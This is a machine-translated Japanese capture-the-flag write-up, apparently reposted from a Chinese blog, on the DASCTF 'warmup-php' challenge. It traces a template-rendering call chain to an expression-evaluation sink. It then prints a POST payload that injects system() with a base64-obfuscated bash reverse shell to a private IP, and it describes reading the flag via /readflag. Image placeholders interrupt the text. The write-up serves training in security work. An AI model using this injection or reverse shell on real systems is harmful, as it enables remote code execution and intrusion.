2022DASCTF4月XFATEエピデミック予防チャレンジウォーミングアップ-php

ホームページコードのロジックは、クラスの下にクラスファイルを自動的にロードしてから、クラスを動的に呼び出してメンバー変数を設定することです。最後に、クラスのrun()メソッドが呼び出されます。

ここに画像の説明を挿入

umlクラス図を見ると、実際には、インスタンス化するクラスが大まかにいくつかあります。TestView
ここに画像の説明を挿入

これらのクラスファイルの内容を見ると、ページテンプレート生成コードがYII2フレームワークのテンプレートレンダリングに従って抽出されたメインロジックであることが明らかです。

基本クラスで、最初に脆弱性を見つけます

ここに画像の説明を挿入

次に、呼び出しチェーンに移動し、ListViewクラスでrun()メソッドを検索します

ここに画像の説明を挿入

次に、renderContentに従って、クラスのrenderSectionメソッドを呼び出します。$ this-> templateは{test}の形式である必要があり、定期的に照合され、renderSection関数が呼び出されます。
ここに画像の説明を挿入

renderSection関数はメソッド名を連結し、メソッドを呼び出します。$matches[1]コンテンツは$this->template変数{}のコンテンツです。

[外部リンク画像の転送に失敗しました。ソースサイトにヒル防止メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします(img-5F0SBvIj-1650799632438)(images / image-20220423173335854.png)]

次の関数呼び出しは単純です。つまり、いくつかの変数を割り当て、最後にevaluateExpression()関数を呼び出して関数の実行ポイントに到達します。

ここに画像の説明を挿入
ここに画像の説明を挿入

/?action=TestView

#POST传参
properties[rowHtmlOptionsExpression]=system("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'")&properties[template]={
    
    TableBody}&properties[data][0]=111

シェルを直接バウンスし、flag.txtを読み取って権限がないことを示します。ls-l/シェルを確認し、/readflagを使用して読み取ります。

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/weixin_43610673/article/details/124389965